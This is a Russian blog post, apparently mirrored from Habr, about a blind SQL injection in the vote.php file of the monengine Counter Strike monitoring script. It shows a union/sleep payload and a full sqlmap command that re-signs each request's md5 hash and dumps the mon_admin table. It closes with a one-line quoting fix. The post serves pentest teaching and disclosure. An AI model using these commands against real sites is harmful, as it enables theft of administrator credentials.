...

воскресенье, 23 ноября 2014 г.

Статья про нетипичную эксплуатацию SQL инъекции и про трюк в sqlmap. А еще — про Counter Strike

Очень давно не писал на Хабр и решил поделиться небольшой, произошедшей в свободное время, и забавной историей. Нет-нет, это статья не о том, что такое sqli и как от них защищаться, а про нетипичную «раскрутку» SQLi. Полезна будет скорее начинающим веб-пентестерам как обучение и, внезапно, некоторым админам мониторингов серверов Counter Strike.
А если заспойлерить для опытных

То статья о том, как менять параметры в sqlmap налету, для каждого запроса по нужному механизму (можно промотать в самый низ и сэкономить 5 минут).



Давайте по-порядку.





В интернете существует множество различных сайтов-мониторингов игровых серверов (в данной истории — Counter Strike), где администраторы добавляют свои сервера и все они выстраиваются в рейтинги по голосам (голосуют игроки, обычно раз в 24 часа).



Пример подобного скрипта


Как-то мне скинули ссылку, просто проголосовать за сервер, естественно сделал я это через burpsuite и заметил, что при голосе передается хэш, который не меняется от IP адреса голосующего и зависит только от ID сервера. Я начал гуглить и нашёл, что на сайте использовался популярный скрипт для мониторинга CS серверов monengine (как на скрине выше).




Скачав исходники по первой ссылке я пошёл в файл в vote.php и сразу стал искать параметр hash (тот самый, что отвечает за голосование за сервер) и нашёл следующую строчку:

if($hash != md5("m0n*********s4lt:P{]we$id@********%;")) exit("Ошибка.");




Файл vote.php, строка 12

Ничего интересного, хэш от ID сервера + зашитая «соль». Посчитав хэш для своего сервера я понял, что «соль» для голосования не меняли.


Пробежав по файлу еще, заметил строки:



$id = mysql_real_escape_string($_POST['id']);




Файл vote.php, строка 9

и



$select_server = "SELECT * FROM ".DB_SERVERS." WHERE server_id = $id";
$select_server = dbquery($select_server);
if(mysql_num_rows($select_server) == 1) {




Файл vote.php, строки 23-25

Как видим (строка 9), используется совершенно корректный эскейпинг пользовательских данных (с т.ч. зрения самой функции, а не подхода, например — PDO) для параметра $id через функцию mysql_real_escape_string(). Но (!), важный момент, сам параметр не обрамлён в кавычки, строка 23 (например PDO делает это автоматически). Т.е. для модификации SQL запроса не требуется использование кавычек и функция mysql_real_escape_string() идёт лесом (исключая некоторые ситуации, например использование into outfile, где кавычки обязательны и трюки через hex и т.п. не работают).


Замечаем, что результат запроса не выводится на страницу, а обрабатывается функцией mysql_num_rows(), т.е. инъекция является слепой (что вполне нормально).


Но самый интересный момент, что для того, чтобы отправить sql инъекцию нам надо её… подписать!


Задача сводится к «раскрутке» blind sql инъекции, где каждый запрос нужно подписывать по заранее известному алгоритму. Можно начать писать свой небольшой эксплойт, используя конструкцию вида



$id = "-1 union select 1,2,3,4,5,6,7,......... from mon_admin where admin_id =1 and admin_pass = 0x61 or sleep(1)-- -";


И подписывая каждый раз свои запросы на сервер



$hash = md5("m0n*********s4lt:P{]we$id@********%;");




Для нахождения и «раскрутки» sqli существует популярный инструмент — sqlmap. Поэтому, вместо того, чтобы писать свой эксплойт, можно подключить его. Но в данном случае он бы ничего не нашел, так как просто бы не дошел до момента, когда скрипт vote.php выполняет запрос (из-за неверной подписи). Т.е. наша задача модифицировать при каждом запросе один из GET параметров (hash) по нужному алгоритму. Легко это сделать через параметр --eval, где можно написать python код, где переменная, указанная внутри eval, будет изменяться перед отправкой.

Итог:

python sqlmap.py
-u "http://ift.tt/1uSJ7Xd"
--data="action=voteup&id=1&hash=2" // POST параметры для скрипта
--eval="import hashlib;hash=hashlib.md5('m0n*********s4lt:P{]we$id@********%;').hexdigest()" // пересчет параметра hash по нужному алгоритму
-p id // параметр для инъекции
--dbms=MySQL
--union-cols=XXX --level=XXX
--dump -T mon_admin // дамп нужной таблицы
--headers="X-Requested-With: XMLHttpRequest" // в скрипте проверяется заголовок, ajax запрос или нет


Итог — sqli будет раскручена. Из забавного — не получится ничего сделать если соль и/или алгоритм для подписи будут неизвестны атакующему.


P.S. Я пытался найти создателя скрипта, но не нашел. Как я понял, разработка давно закрыта и всё просто ставят этот скрипт как есть, меняя оформление. Поэтому, если пользуетесь этим скриптом, то можно поправить данную уязвимость

В файле vote.php меняем



$select_server = "SELECT * FROM ".DB_SERVERS." WHERE server_id = $id";



на

$select_server = "SELECT * FROM ".DB_SERVERS." WHERE server_id = '$id'";



Но это не спасёт еще от пачки потенциальных баг, которые есть в этом же скрипте.

This entry passed through the Full-Text RSS service - if this is your content and you're reading it on someone else's site, please read the FAQ at http://ift.tt/jcXqJW.


Комментариев нет:

Отправить комментарий